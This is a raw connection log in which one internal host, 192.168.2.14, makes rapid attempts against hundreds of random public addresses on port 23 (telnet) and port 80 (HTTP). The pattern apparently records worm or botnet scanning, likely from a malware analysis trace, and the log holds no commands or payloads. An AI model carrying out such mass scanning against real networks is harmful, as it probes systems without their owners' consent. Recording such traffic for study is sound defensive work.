Dec 3, 2024 22:01:58.860754967 CET	39808	23	192.168.2.14	189.247.11.112
Dec 3, 2024 22:01:58.860754967 CET	39808	23	192.168.2.14	78.166.147.205
Dec 3, 2024 22:01:58.860754967 CET	39808	23	192.168.2.14	4.127.136.171
Dec 3, 2024 22:01:58.860774994 CET	39808	23	192.168.2.14	166.64.100.54
Dec 3, 2024 22:01:58.860774994 CET	39808	23	192.168.2.14	136.62.105.206
Dec 3, 2024 22:01:58.860780001 CET	39808	23	192.168.2.14	25.39.153.21
Dec 3, 2024 22:01:58.860785007 CET	39808	23	192.168.2.14	65.245.116.60
Dec 3, 2024 22:01:58.860800982 CET	39808	23	192.168.2.14	102.46.188.230
Dec 3, 2024 22:01:58.860804081 CET	39808	23	192.168.2.14	38.193.220.208
Dec 3, 2024 22:01:58.860807896 CET	39808	23	192.168.2.14	115.127.29.84
Dec 3, 2024 22:01:58.860807896 CET	39808	23	192.168.2.14	126.60.72.254
Dec 3, 2024 22:01:58.860826969 CET	39808	23	192.168.2.14	159.202.59.144
Dec 3, 2024 22:01:58.860832930 CET	39808	23	192.168.2.14	132.225.192.209
Dec 3, 2024 22:01:58.860876083 CET	39808	23	192.168.2.14	211.6.42.253
Dec 3, 2024 22:01:58.860884905 CET	39808	23	192.168.2.14	204.105.139.224
Dec 3, 2024 22:01:58.860884905 CET	39808	23	192.168.2.14	53.189.86.66
Dec 3, 2024 22:01:58.860884905 CET	39808	23	192.168.2.14	48.83.108.39
Dec 3, 2024 22:01:58.860886097 CET	39808	23	192.168.2.14	59.124.83.218
Dec 3, 2024 22:01:58.860884905 CET	39808	23	192.168.2.14	135.64.103.163
Dec 3, 2024 22:01:58.860884905 CET	39808	23	192.168.2.14	188.43.38.67
Dec 3, 2024 22:01:58.860884905 CET	39808	23	192.168.2.14	54.45.233.217
Dec 3, 2024 22:01:58.860903025 CET	39808	23	192.168.2.14	130.254.189.33
Dec 3, 2024 22:01:58.860904932 CET	39808	23	192.168.2.14	198.209.119.231
Dec 3, 2024 22:01:58.860904932 CET	39808	23	192.168.2.14	67.14.23.185
Dec 3, 2024 22:01:58.860904932 CET	39808	23	192.168.2.14	25.166.30.201
Dec 3, 2024 22:01:58.860904932 CET	39808	23	192.168.2.14	167.81.169.192
Dec 3, 2024 22:01:58.860904932 CET	39808	23	192.168.2.14	210.69.244.230
Dec 3, 2024 22:01:58.860908031 CET	39808	23	192.168.2.14	12.7.109.251
Dec 3, 2024 22:01:58.860908031 CET	39808	23	192.168.2.14	82.155.153.99
Dec 3, 2024 22:01:58.860950947 CET	39808	23	192.168.2.14	36.246.250.122
Dec 3, 2024 22:01:58.860951900 CET	39808	23	192.168.2.14	52.91.80.225
Dec 3, 2024 22:01:58.860950947 CET	39808	23	192.168.2.14	1.124.183.129
Dec 3, 2024 22:01:58.860951900 CET	39808	23	192.168.2.14	181.100.94.217
Dec 3, 2024 22:01:58.860955000 CET	39808	23	192.168.2.14	217.205.187.248
Dec 3, 2024 22:01:58.860958099 CET	39808	23	192.168.2.14	177.35.142.38
Dec 3, 2024 22:01:58.860958099 CET	39808	23	192.168.2.14	219.227.214.65
Dec 3, 2024 22:01:58.860963106 CET	39808	23	192.168.2.14	182.186.154.175
Dec 3, 2024 22:01:58.860963106 CET	39808	23	192.168.2.14	145.171.106.105
Dec 3, 2024 22:01:58.860976934 CET	39808	23	192.168.2.14	61.96.80.77
Dec 3, 2024 22:01:58.860981941 CET	39808	23	192.168.2.14	129.47.30.45
Dec 3, 2024 22:01:58.860981941 CET	39808	23	192.168.2.14	105.64.33.180
Dec 3, 2024 22:01:58.861001015 CET	39808	23	192.168.2.14	116.123.41.125
Dec 3, 2024 22:01:58.861001015 CET	39808	23	192.168.2.14	173.128.104.32
Dec 3, 2024 22:01:58.861001968 CET	39808	23	192.168.2.14	58.229.176.93
Dec 3, 2024 22:01:58.861001968 CET	39808	23	192.168.2.14	159.83.164.77
Dec 3, 2024 22:01:58.861023903 CET	39808	23	192.168.2.14	92.15.115.33
Dec 3, 2024 22:01:58.880764961 CET	39296	80	192.168.2.14	72.17.244.236
Dec 3, 2024 22:01:58.880811930 CET	39296	80	192.168.2.14	112.175.239.80
Dec 3, 2024 22:01:58.880820036 CET	39296	80	192.168.2.14	5.243.216.54
Dec 3, 2024 22:01:58.880829096 CET	39296	80	192.168.2.14	189.135.83.235
Dec 3, 2024 22:01:58.880842924 CET	39296	80	192.168.2.14	58.232.164.176
Dec 3, 2024 22:01:58.880845070 CET	39296	80	192.168.2.14	12.178.60.80
Dec 3, 2024 22:01:58.880865097 CET	39296	80	192.168.2.14	59.9.149.230
Dec 3, 2024 22:01:58.880865097 CET	39296	80	192.168.2.14	159.70.116.124
Dec 3, 2024 22:01:58.880876064 CET	39296	80	192.168.2.14	81.120.241.245
Dec 3, 2024 22:01:58.880876064 CET	39296	80	192.168.2.14	157.207.39.163
Dec 3, 2024 22:01:58.880876064 CET	39296	80	192.168.2.14	156.144.63.43
Dec 3, 2024 22:01:58.880887032 CET	39296	80	192.168.2.14	175.69.82.2
Dec 3, 2024 22:01:58.880893946 CET	39296	80	192.168.2.14	27.86.83.239
Dec 3, 2024 22:01:58.880923986 CET	39296	80	192.168.2.14	93.155.172.13
Dec 3, 2024 22:01:58.880924940 CET	39296	80	192.168.2.14	162.157.105.172
Dec 3, 2024 22:01:58.880924940 CET	39296	80	192.168.2.14	70.125.85.188
Dec 3, 2024 22:01:58.880927086 CET	39296	80	192.168.2.14	133.60.145.231
Dec 3, 2024 22:01:58.880942106 CET	39296	80	192.168.2.14	196.14.9.119
Dec 3, 2024 22:01:58.880944967 CET	39296	80	192.168.2.14	148.77.145.39
Dec 3, 2024 22:01:58.880948067 CET	39296	80	192.168.2.14	88.133.224.230
Dec 3, 2024 22:01:58.880985975 CET	39296	80	192.168.2.14	78.96.91.83
Dec 3, 2024 22:01:58.880986929 CET	39296	80	192.168.2.14	211.128.238.126
Dec 3, 2024 22:01:58.880996943 CET	39296	80	192.168.2.14	48.97.242.37
Dec 3, 2024 22:01:58.881000042 CET	39296	80	192.168.2.14	211.213.150.205
Dec 3, 2024 22:01:58.881002903 CET	39296	80	192.168.2.14	147.161.248.239
Dec 3, 2024 22:01:58.881009102 CET	39296	80	192.168.2.14	190.35.88.235
Dec 3, 2024 22:01:58.881037951 CET	39296	80	192.168.2.14	176.225.203.100
Dec 3, 2024 22:01:58.881038904 CET	39296	80	192.168.2.14	173.237.244.156
Dec 3, 2024 22:01:58.881038904 CET	39296	80	192.168.2.14	129.166.98.21
Dec 3, 2024 22:01:58.881055117 CET	39296	80	192.168.2.14	195.159.224.104
Dec 3, 2024 22:01:58.881057978 CET	39296	80	192.168.2.14	200.110.166.67
Dec 3, 2024 22:01:58.881061077 CET	39296	80	192.168.2.14	184.72.141.190
Dec 3, 2024 22:01:58.881073952 CET	39296	80	192.168.2.14	121.227.43.126
Dec 3, 2024 22:01:58.881079912 CET	39296	80	192.168.2.14	70.112.143.176
Dec 3, 2024 22:01:58.881098986 CET	39296	80	192.168.2.14	75.83.148.123
Dec 3, 2024 22:01:58.881099939 CET	39296	80	192.168.2.14	219.145.197.9
Dec 3, 2024 22:01:58.881099939 CET	39296	80	192.168.2.14	39.32.14.134
Dec 3, 2024 22:01:58.881099939 CET	39296	80	192.168.2.14	54.12.240.76
Dec 3, 2024 22:01:58.881125927 CET	39296	80	192.168.2.14	71.33.68.130
Dec 3, 2024 22:01:58.881125927 CET	39296	80	192.168.2.14	196.124.103.120
Dec 3, 2024 22:01:58.881139040 CET	39296	80	192.168.2.14	66.75.58.208
Dec 3, 2024 22:01:58.881140947 CET	39296	80	192.168.2.14	9.226.127.25
Dec 3, 2024 22:01:58.881191969 CET	39296	80	192.168.2.14	192.15.222.246
Dec 3, 2024 22:01:58.881196976 CET	39296	80	192.168.2.14	174.207.140.13
Dec 3, 2024 22:01:58.881213903 CET	39296	80	192.168.2.14	77.75.196.43
Dec 3, 2024 22:01:58.881217003 CET	39296	80	192.168.2.14	179.3.49.202
Dec 3, 2024 22:01:58.881225109 CET	39296	80	192.168.2.14	170.251.189.89
Dec 3, 2024 22:01:58.881251097 CET	39296	80	192.168.2.14	87.196.124.9
Dec 3, 2024 22:01:58.881263971 CET	39296	80	192.168.2.14	97.220.107.7
Dec 3, 2024 22:01:58.881264925 CET	39296	80	192.168.2.14	85.17.8.237
Dec 3, 2024 22:01:58.881264925 CET	39296	80	192.168.2.14	137.28.134.7
Dec 3, 2024 22:01:58.881268978 CET	39296	80	192.168.2.14	116.92.181.239
Dec 3, 2024 22:01:58.881280899 CET	39296	80	192.168.2.14	160.60.208.231
Dec 3, 2024 22:01:58.881283045 CET	39296	80	192.168.2.14	159.52.59.121
Dec 3, 2024 22:01:58.881289005 CET	39296	80	192.168.2.14	111.62.23.52
Dec 3, 2024 22:01:58.881308079 CET	39296	80	192.168.2.14	120.205.227.204
Dec 3, 2024 22:01:58.881308079 CET	39296	80	192.168.2.14	191.23.136.150
Dec 3, 2024 22:01:58.881310940 CET	39296	80	192.168.2.14	187.235.195.104
Dec 3, 2024 22:01:58.881310940 CET	39296	80	192.168.2.14	47.131.96.168
Dec 3, 2024 22:01:58.881361961 CET	39296	80	192.168.2.14	35.135.76.92
Dec 3, 2024 22:01:58.881361961 CET	39296	80	192.168.2.14	219.75.69.92
Dec 3, 2024 22:01:58.881376028 CET	39296	80	192.168.2.14	80.114.42.102
Dec 3, 2024 22:01:58.881376982 CET	39296	80	192.168.2.14	37.103.170.197
Dec 3, 2024 22:01:58.881377935 CET	39296	80	192.168.2.14	143.228.173.174
Dec 3, 2024 22:01:58.881381035 CET	39296	80	192.168.2.14	192.191.185.221
Dec 3, 2024 22:01:58.881382942 CET	39296	80	192.168.2.14	177.108.242.241
Dec 3, 2024 22:01:58.881400108 CET	39296	80	192.168.2.14	194.115.57.89
Dec 3, 2024 22:01:58.881417036 CET	39296	80	192.168.2.14	184.58.55.2
Dec 3, 2024 22:01:58.881421089 CET	39296	80	192.168.2.14	204.187.166.186
Dec 3, 2024 22:01:58.881426096 CET	39296	80	192.168.2.14	81.218.100.79
Dec 3, 2024 22:01:58.881428957 CET	39296	80	192.168.2.14	197.173.96.115
Dec 3, 2024 22:01:58.881437063 CET	39296	80	192.168.2.14	150.160.68.60
Dec 3, 2024 22:01:58.881448984 CET	39296	80	192.168.2.14	120.23.89.14
Dec 3, 2024 22:01:58.881448984 CET	39296	80	192.168.2.14	181.208.131.188
Dec 3, 2024 22:01:58.881464958 CET	39296	80	192.168.2.14	131.232.38.249
Dec 3, 2024 22:01:58.881480932 CET	39296	80	192.168.2.14	218.97.164.30
Dec 3, 2024 22:01:58.881480932 CET	39296	80	192.168.2.14	59.207.179.28
Dec 3, 2024 22:01:58.881479979 CET	39296	80	192.168.2.14	51.50.141.42
Dec 3, 2024 22:01:58.881499052 CET	39296	80	192.168.2.14	31.131.53.14
Dec 3, 2024 22:01:58.881511927 CET	39296	80	192.168.2.14	51.253.212.115
Dec 3, 2024 22:01:58.881517887 CET	39296	80	192.168.2.14	205.173.50.30
Dec 3, 2024 22:01:58.881524086 CET	39296	80	192.168.2.14	154.5.195.57
Dec 3, 2024 22:01:58.881537914 CET	39296	80	192.168.2.14	213.69.137.128
Dec 3, 2024 22:01:58.881537914 CET	39296	80	192.168.2.14	40.187.131.160
Dec 3, 2024 22:01:58.881541014 CET	39296	80	192.168.2.14	119.203.25.151
Dec 3, 2024 22:01:58.881551981 CET	39296	80	192.168.2.14	223.241.239.55
Dec 3, 2024 22:01:58.881553888 CET	39296	80	192.168.2.14	116.249.223.175
Dec 3, 2024 22:01:58.881568909 CET	39296	80	192.168.2.14	116.127.159.55
Dec 3, 2024 22:01:58.881570101 CET	39296	80	192.168.2.14	192.135.240.174
Dec 3, 2024 22:01:58.881583929 CET	39296	80	192.168.2.14	86.164.252.78
Dec 3, 2024 22:01:58.881623983 CET	39296	80	192.168.2.14	163.8.196.60
Dec 3, 2024 22:01:58.881623983 CET	39296	80	192.168.2.14	116.179.6.52
Dec 3, 2024 22:01:58.881628990 CET	39296	80	192.168.2.14	38.41.43.185
Dec 3, 2024 22:01:58.881628990 CET	39296	80	192.168.2.14	146.7.155.160
Dec 3, 2024 22:01:58.881652117 CET	39296	80	192.168.2.14	76.253.116.168
Dec 3, 2024 22:01:58.881674051 CET	39296	80	192.168.2.14	27.105.154.213
Dec 3, 2024 22:01:58.881674051 CET	39296	80	192.168.2.14	218.176.9.167
Dec 3, 2024 22:01:58.881678104 CET	39296	80	192.168.2.14	122.126.40.32
Dec 3, 2024 22:01:58.881681919 CET	39296	80	192.168.2.14	206.31.122.38
Dec 3, 2024 22:01:58.881686926 CET	39296	80	192.168.2.14	66.221.197.135
Dec 3, 2024 22:01:58.881686926 CET	39296	80	192.168.2.14	105.112.207.33
Dec 3, 2024 22:01:58.881692886 CET	39296	80	192.168.2.14	112.241.254.129
Dec 3, 2024 22:01:58.881694078 CET	39296	80	192.168.2.14	25.210.211.48
Dec 3, 2024 22:01:58.881706953 CET	39296	80	192.168.2.14	139.246.49.94
Dec 3, 2024 22:01:58.881720066 CET	39296	80	192.168.2.14	24.107.55.194
Dec 3, 2024 22:01:58.881732941 CET	39296	80	192.168.2.14	218.76.230.167
Dec 3, 2024 22:01:58.881733894 CET	39296	80	192.168.2.14	93.130.23.54
Dec 3, 2024 22:01:58.881735086 CET	39296	80	192.168.2.14	213.15.250.142
Dec 3, 2024 22:01:58.881736994 CET	39296	80	192.168.2.14	54.177.254.185
Dec 3, 2024 22:01:58.881762028 CET	39296	80	192.168.2.14	211.83.229.255
Dec 3, 2024 22:01:58.881762028 CET	39296	80	192.168.2.14	218.127.216.212
Dec 3, 2024 22:01:58.881762981 CET	39296	80	192.168.2.14	179.186.254.193
Dec 3, 2024 22:01:58.881777048 CET	39296	80	192.168.2.14	126.73.63.137
Dec 3, 2024 22:01:58.881778002 CET	39296	80	192.168.2.14	57.161.192.135
Dec 3, 2024 22:01:58.881788015 CET	39296	80	192.168.2.14	34.34.18.39
Dec 3, 2024 22:01:58.881793976 CET	39296	80	192.168.2.14	173.8.99.188
Dec 3, 2024 22:01:58.881797075 CET	39296	80	192.168.2.14	128.178.187.46
Dec 3, 2024 22:01:58.881814957 CET	39296	80	192.168.2.14	92.238.86.135
Dec 3, 2024 22:01:58.881814957 CET	39296	80	192.168.2.14	123.223.222.49
Dec 3, 2024 22:01:58.881845951 CET	39296	80	192.168.2.14	91.89.162.80
Dec 3, 2024 22:01:58.881849051 CET	39296	80	192.168.2.14	12.115.68.145
Dec 3, 2024 22:01:58.881849051 CET	39296	80	192.168.2.14	183.24.228.0
Dec 3, 2024 22:01:58.881849051 CET	39296	80	192.168.2.14	155.151.244.71
Dec 3, 2024 22:01:58.881850958 CET	39296	80	192.168.2.14	178.240.70.21
Dec 3, 2024 22:01:58.881863117 CET	39296	80	192.168.2.14	133.102.139.174
Dec 3, 2024 22:01:58.881870031 CET	39296	80	192.168.2.14	147.106.170.245
Dec 3, 2024 22:01:58.881870031 CET	39296	80	192.168.2.14	166.192.254.106
Dec 3, 2024 22:01:58.881877899 CET	39296	80	192.168.2.14	166.12.67.34
Dec 3, 2024 22:01:58.881886005 CET	39296	80	192.168.2.14	12.179.64.109
Dec 3, 2024 22:01:58.881901026 CET	39296	80	192.168.2.14	95.96.104.85
Dec 3, 2024 22:01:58.881903887 CET	39296	80	192.168.2.14	223.157.131.233
Dec 3, 2024 22:01:58.881918907 CET	39296	80	192.168.2.14	181.173.162.5
Dec 3, 2024 22:01:58.881923914 CET	39296	80	192.168.2.14	156.148.254.51
Dec 3, 2024 22:01:58.881949902 CET	39296	80	192.168.2.14	213.164.56.222
Dec 3, 2024 22:01:58.881949902 CET	39296	80	192.168.2.14	184.6.213.235
Dec 3, 2024 22:01:58.881954908 CET	39296	80	192.168.2.14	81.52.118.254
Dec 3, 2024 22:01:58.881966114 CET	39296	80	192.168.2.14	159.1.203.222
Dec 3, 2024 22:01:58.881966114 CET	39296	80	192.168.2.14	44.144.101.142
Dec 3, 2024 22:01:58.881968021 CET	39296	80	192.168.2.14	135.54.13.74
Dec 3, 2024 22:01:58.882005930 CET	39296	80	192.168.2.14	4.239.216.134
Dec 3, 2024 22:01:58.882006884 CET	39296	80	192.168.2.14	58.238.138.107
Dec 3, 2024 22:01:58.882021904 CET	39296	80	192.168.2.14	134.137.178.22
Dec 3, 2024 22:01:58.882021904 CET	39296	80	192.168.2.14	93.71.65.94
Dec 3, 2024 22:01:58.882026911 CET	39296	80	192.168.2.14	70.166.190.20
Dec 3, 2024 22:01:58.882026911 CET	39296	80	192.168.2.14	132.101.33.21
Dec 3, 2024 22:01:58.882030964 CET	39296	80	192.168.2.14	51.238.239.151
Dec 3, 2024 22:01:58.882041931 CET	39296	80	192.168.2.14	120.137.118.180
Dec 3, 2024 22:01:58.882069111 CET	39296	80	192.168.2.14	139.105.182.203
Dec 3, 2024 22:01:58.882083893 CET	39296	80	192.168.2.14	100.193.129.148
Dec 3, 2024 22:01:58.882092953 CET	39296	80	192.168.2.14	123.164.133.16
Dec 3, 2024 22:01:58.882106066 CET	39296	80	192.168.2.14	181.244.102.251
Dec 3, 2024 22:01:58.882138014 CET	39296	80	192.168.2.14	113.95.191.149
Dec 3, 2024 22:01:58.882138014 CET	39296	80	192.168.2.14	19.114.139.111
Dec 3, 2024 22:01:58.882138014 CET	39296	80	192.168.2.14	66.87.139.140
Dec 3, 2024 22:01:58.882139921 CET	39296	80	192.168.2.14	105.145.139.223
Dec 3, 2024 22:01:58.882148981 CET	39296	80	192.168.2.14	45.36.14.236
Dec 3, 2024 22:01:58.882163048 CET	39296	80	192.168.2.14	93.89.60.215
Dec 3, 2024 22:01:58.882169008 CET	39296	80	192.168.2.14	201.73.27.147
Dec 3, 2024 22:01:58.882169962 CET	39296	80	192.168.2.14	24.206.142.60
Dec 3, 2024 22:01:58.882169962 CET	39296	80	192.168.2.14	138.206.28.226
Dec 3, 2024 22:01:58.882169962 CET	39296	80	192.168.2.14	86.130.31.188
Dec 3, 2024 22:01:58.882185936 CET	39296	80	192.168.2.14	5.136.31.81
Dec 3, 2024 22:01:58.882185936 CET	39296	80	192.168.2.14	71.217.24.50
Dec 3, 2024 22:01:58.882219076 CET	39296	80	192.168.2.14	71.108.17.153
Dec 3, 2024 22:01:58.882237911 CET	39296	80	192.168.2.14	145.242.252.176
Dec 3, 2024 22:01:58.882242918 CET	39296	80	192.168.2.14	149.253.253.138
Dec 3, 2024 22:01:58.882258892 CET	39296	80	192.168.2.14	59.195.199.79
Dec 3, 2024 22:01:58.882277966 CET	39296	80	192.168.2.14	218.57.29.84
Dec 3, 2024 22:01:58.882287979 CET	39296	80	192.168.2.14	104.97.87.217
Dec 3, 2024 22:01:58.882291079 CET	39296	80	192.168.2.14	110.30.208.240
Dec 3, 2024 22:01:58.882297993 CET	39296	80	192.168.2.14	202.158.207.246
Dec 3, 2024 22:01:58.882317066 CET	39296	80	192.168.2.14	73.35.2.251
Dec 3, 2024 22:01:58.882317066 CET	39296	80	192.168.2.14	164.199.117.103
Dec 3, 2024 22:01:58.882318020 CET	39296	80	192.168.2.14	221.55.105.157
Dec 3, 2024 22:01:58.882318974 CET	39296	80	192.168.2.14	174.179.34.141
Dec 3, 2024 22:01:58.882374048 CET	39296	80	192.168.2.14	157.179.246.32
Dec 3, 2024 22:01:58.882395029 CET	39296	80	192.168.2.14	133.193.218.122
Dec 3, 2024 22:01:58.882395983 CET	39296	80	192.168.2.14	19.47.228.166
Dec 3, 2024 22:01:58.882395983 CET	39296	80	192.168.2.14	60.11.0.93
Dec 3, 2024 22:01:58.882397890 CET	39296	80	192.168.2.14	173.163.75.92
Dec 3, 2024 22:01:58.882410049 CET	39296	80	192.168.2.14	19.157.31.237
Dec 3, 2024 22:01:58.882411957 CET	39296	80	192.168.2.14	83.81.169.58
Dec 3, 2024 22:01:58.882416010 CET	39296	80	192.168.2.14	132.199.146.149
Dec 3, 2024 22:01:58.882446051 CET	39296	80	192.168.2.14	63.154.218.144
Dec 3, 2024 22:01:58.882453918 CET	39296	80	192.168.2.14	191.126.175.127
Dec 3, 2024 22:01:58.882460117 CET	39296	80	192.168.2.14	43.61.179.22
Dec 3, 2024 22:01:58.882464886 CET	39296	80	192.168.2.14	191.38.141.48
Dec 3, 2024 22:01:58.882483006 CET	39296	80	192.168.2.14	217.20.229.15
Dec 3, 2024 22:01:58.882493019 CET	39296	80	192.168.2.14	90.67.82.138
Dec 3, 2024 22:01:58.882493973 CET	39296	80	192.168.2.14	203.72.156.253
Dec 3, 2024 22:01:58.882494926 CET	39296	80	192.168.2.14	209.136.21.219
Dec 3, 2024 22:01:58.882494926 CET	39296	80	192.168.2.14	129.245.49.137
Dec 3, 2024 22:01:58.882527113 CET	39296	80	192.168.2.14	90.176.102.187
Dec 3, 2024 22:01:58.882527113 CET	39296	80	192.168.2.14	141.126.3.225
Dec 3, 2024 22:01:58.882531881 CET	39296	80	192.168.2.14	75.108.206.36
Dec 3, 2024 22:01:58.882536888 CET	39296	80	192.168.2.14	57.74.116.238
Dec 3, 2024 22:01:58.882536888 CET	39296	80	192.168.2.14	116.110.75.141
Dec 3, 2024 22:01:58.882550001 CET	39296	80	192.168.2.14	31.222.9.33
Dec 3, 2024 22:01:58.882565022 CET	39296	80	192.168.2.14	122.0.183.158
Dec 3, 2024 22:01:58.882566929 CET	39296	80	192.168.2.14	59.137.81.71
Dec 3, 2024 22:01:58.882582903 CET	39296	80	192.168.2.14	207.27.47.63
Dec 3, 2024 22:01:58.882585049 CET	39296	80	192.168.2.14	165.79.85.63
Dec 3, 2024 22:01:58.882585049 CET	39296	80	192.168.2.14	48.118.35.236
Dec 3, 2024 22:01:58.882586002 CET	39296	80	192.168.2.14	202.241.250.207
Dec 3, 2024 22:01:58.882586956 CET	39296	80	192.168.2.14	122.215.234.180
Dec 3, 2024 22:01:58.882621050 CET	39296	80	192.168.2.14	191.133.53.223
Dec 3, 2024 22:01:58.882651091 CET	39296	80	192.168.2.14	48.104.108.79
Dec 3, 2024 22:01:58.882693052 CET	39296	80	192.168.2.14	221.47.144.142
Dec 3, 2024 22:01:58.882694006 CET	39296	80	192.168.2.14	169.215.52.193
Dec 3, 2024 22:01:58.882705927 CET	39296	80	192.168.2.14	175.116.86.162
Dec 3, 2024 22:01:58.882708073 CET	39296	80	192.168.2.14	194.254.250.238
Dec 3, 2024 22:01:58.882708073 CET	39296	80	192.168.2.14	118.242.188.150
Dec 3, 2024 22:01:58.882708073 CET	39296	80	192.168.2.14	140.207.80.249
Dec 3, 2024 22:01:58.882708073 CET	39296	80	192.168.2.14	212.59.167.255
Dec 3, 2024 22:01:58.882735968 CET	39296	80	192.168.2.14	188.11.24.187
Dec 3, 2024 22:01:58.882736921 CET	39296	80	192.168.2.14	63.219.187.235
Dec 3, 2024 22:01:58.882744074 CET	39296	80	192.168.2.14	9.141.156.39
Dec 3, 2024 22:01:58.882744074 CET	39296	80	192.168.2.14	34.17.183.31
Dec 3, 2024 22:01:58.882745028 CET	39296	80	192.168.2.14	17.226.139.83
Dec 3, 2024 22:01:58.882745028 CET	39296	80	192.168.2.14	146.62.117.144
Dec 3, 2024 22:01:58.882745981 CET	39296	80	192.168.2.14	195.192.179.231
Dec 3, 2024 22:01:58.882745981 CET	39296	80	192.168.2.14	78.90.132.172
Dec 3, 2024 22:01:58.882786036 CET	39296	80	192.168.2.14	104.238.155.214
Dec 3, 2024 22:01:58.882786989 CET	39296	80	192.168.2.14	216.81.55.46
Dec 3, 2024 22:01:58.882796049 CET	39296	80	192.168.2.14	1.101.72.64
Dec 3, 2024 22:01:58.882802963 CET	39296	80	192.168.2.14	40.57.8.243
Dec 3, 2024 22:01:58.882817030 CET	39296	80	192.168.2.14	220.12.3.14
Dec 3, 2024 22:01:58.882817030 CET	39296	80	192.168.2.14	73.49.22.232
Dec 3, 2024 22:01:58.882817030 CET	39296	80	192.168.2.14	125.77.185.97
Dec 3, 2024 22:01:58.882817030 CET	39296	80	192.168.2.14	134.229.247.235
Dec 3, 2024 22:01:58.882822990 CET	39296	80	192.168.2.14	202.117.186.196
Dec 3, 2024 22:01:58.882839918 CET	39296	80	192.168.2.14	171.108.146.178
Dec 3, 2024 22:01:58.882863045 CET	39296	80	192.168.2.14	8.176.90.210
Dec 3, 2024 22:01:58.882863045 CET	39296	80	192.168.2.14	182.56.109.254
Dec 3, 2024 22:01:58.882869005 CET	39296	80	192.168.2.14	200.121.42.240
Dec 3, 2024 22:01:58.882882118 CET	39296	80	192.168.2.14	47.244.168.103
Dec 3, 2024 22:01:58.882882118 CET	39296	80	192.168.2.14	168.174.132.122
Dec 3, 2024 22:01:58.882885933 CET	39296	80	192.168.2.14	151.132.59.137
Dec 3, 2024 22:01:58.882900953 CET	39296	80	192.168.2.14	52.29.155.231
Dec 3, 2024 22:01:58.882900953 CET	39296	80	192.168.2.14	180.82.43.22
Dec 3, 2024 22:01:58.882906914 CET	39296	80	192.168.2.14	42.151.87.18
Dec 3, 2024 22:01:58.882922888 CET	39296	80	192.168.2.14	218.110.30.67
Dec 3, 2024 22:01:58.882941961 CET	39296	80	192.168.2.14	211.185.40.108
Dec 3, 2024 22:01:58.882952929 CET	39296	80	192.168.2.14	106.82.11.29
Dec 3, 2024 22:01:58.882961035 CET	39296	80	192.168.2.14	49.108.20.107
Dec 3, 2024 22:01:58.882966042 CET	39296	80	192.168.2.14	46.190.105.178
Dec 3, 2024 22:01:58.882970095 CET	39296	80	192.168.2.14	195.59.135.60
Dec 3, 2024 22:01:58.882985115 CET	39296	80	192.168.2.14	62.74.6.249
Dec 3, 2024 22:01:58.882985115 CET	39296	80	192.168.2.14	98.167.202.66
Dec 3, 2024 22:01:58.882986069 CET	39296	80	192.168.2.14	8.91.32.151
Dec 3, 2024 22:01:58.882999897 CET	39296	80	192.168.2.14	82.9.218.57
Dec 3, 2024 22:01:58.883033991 CET	39296	80	192.168.2.14	103.213.240.56
Dec 3, 2024 22:01:58.883047104 CET	39296	80	192.168.2.14	204.205.117.94
Dec 3, 2024 22:01:58.883049965 CET	39296	80	192.168.2.14	87.208.211.194
Dec 3, 2024 22:01:58.883057117 CET	39296	80	192.168.2.14	40.34.72.127
Dec 3, 2024 22:01:58.883065939 CET	39296	80	192.168.2.14	178.222.45.207
Dec 3, 2024 22:01:58.883074045 CET	39296	80	192.168.2.14	163.245.106.236
Dec 3, 2024 22:01:58.883100033 CET	39296	80	192.168.2.14	36.176.25.110
Dec 3, 2024 22:01:58.883106947 CET	39296	80	192.168.2.14	211.131.117.210
Dec 3, 2024 22:01:58.883121967 CET	39296	80	192.168.2.14	182.71.92.231
Dec 3, 2024 22:01:58.883124113 CET	39296	80	192.168.2.14	35.136.140.138
Dec 3, 2024 22:01:58.883131027 CET	39296	80	192.168.2.14	136.31.112.156
Dec 3, 2024 22:01:58.883140087 CET	39296	80	192.168.2.14	149.153.119.161
Dec 3, 2024 22:01:58.883140087 CET	39296	80	192.168.2.14	191.69.226.192
Dec 3, 2024 22:01:58.883143902 CET	39296	80	192.168.2.14	142.207.225.174
Dec 3, 2024 22:01:58.883158922 CET	39296	80	192.168.2.14	168.196.28.250
Dec 3, 2024 22:01:58.883158922 CET	39296	80	192.168.2.14	164.0.250.129
Dec 3, 2024 22:01:58.883160114 CET	39296	80	192.168.2.14	53.24.84.166
Dec 3, 2024 22:01:58.883161068 CET	39296	80	192.168.2.14	157.193.199.51
Dec 3, 2024 22:01:58.883161068 CET	39296	80	192.168.2.14	96.141.31.98
Dec 3, 2024 22:01:58.883203030 CET	39296	80	192.168.2.14	129.12.201.106
Dec 3, 2024 22:01:58.883204937 CET	39296	80	192.168.2.14	109.65.74.91
Dec 3, 2024 22:01:58.883204937 CET	39296	80	192.168.2.14	90.79.118.80
Dec 3, 2024 22:01:58.883213997 CET	39296	80	192.168.2.14	187.80.177.100
Dec 3, 2024 22:01:58.883220911 CET	39296	80	192.168.2.14	135.205.93.244
Dec 3, 2024 22:01:58.883224964 CET	39296	80	192.168.2.14	57.179.37.47
Dec 3, 2024 22:01:58.883241892 CET	39296	80	192.168.2.14	194.127.176.46
Dec 3, 2024 22:01:58.883291006 CET	39296	80	192.168.2.14	104.17.228.195
Dec 3, 2024 22:01:58.883295059 CET	39296	80	192.168.2.14	94.211.250.154
Dec 3, 2024 22:01:58.883295059 CET	39296	80	192.168.2.14	24.22.41.219
Dec 3, 2024 22:01:58.883299112 CET	39296	80	192.168.2.14	219.49.63.20
Dec 3, 2024 22:01:58.883306026 CET	39296	80	192.168.2.14	9.135.68.111
Dec 3, 2024 22:01:58.883311033 CET	39296	80	192.168.2.14	76.145.131.237
Dec 3, 2024 22:01:58.883322954 CET	39296	80	192.168.2.14	58.78.185.195
Dec 3, 2024 22:01:58.883331060 CET	39296	80	192.168.2.14	155.250.114.2
Dec 3, 2024 22:01:58.883331060 CET	39296	80	192.168.2.14	180.222.165.244
Dec 3, 2024 22:01:58.883341074 CET	39296	80	192.168.2.14	135.130.93.194
Dec 3, 2024 22:01:58.883349895 CET	39296	80	192.168.2.14	166.25.215.193
Dec 3, 2024 22:01:58.883352995 CET	39296	80	192.168.2.14	57.114.159.200
Dec 3, 2024 22:01:58.883377075 CET	39296	80	192.168.2.14	167.77.250.82
Dec 3, 2024 22:01:58.883387089 CET	39296	80	192.168.2.14	121.67.95.50
Dec 3, 2024 22:01:58.883404016 CET	39296	80	192.168.2.14	100.208.121.236
Dec 3, 2024 22:01:58.883418083 CET	39296	80	192.168.2.14	83.0.24.249
Dec 3, 2024 22:01:58.883419037 CET	39296	80	192.168.2.14	54.229.52.2
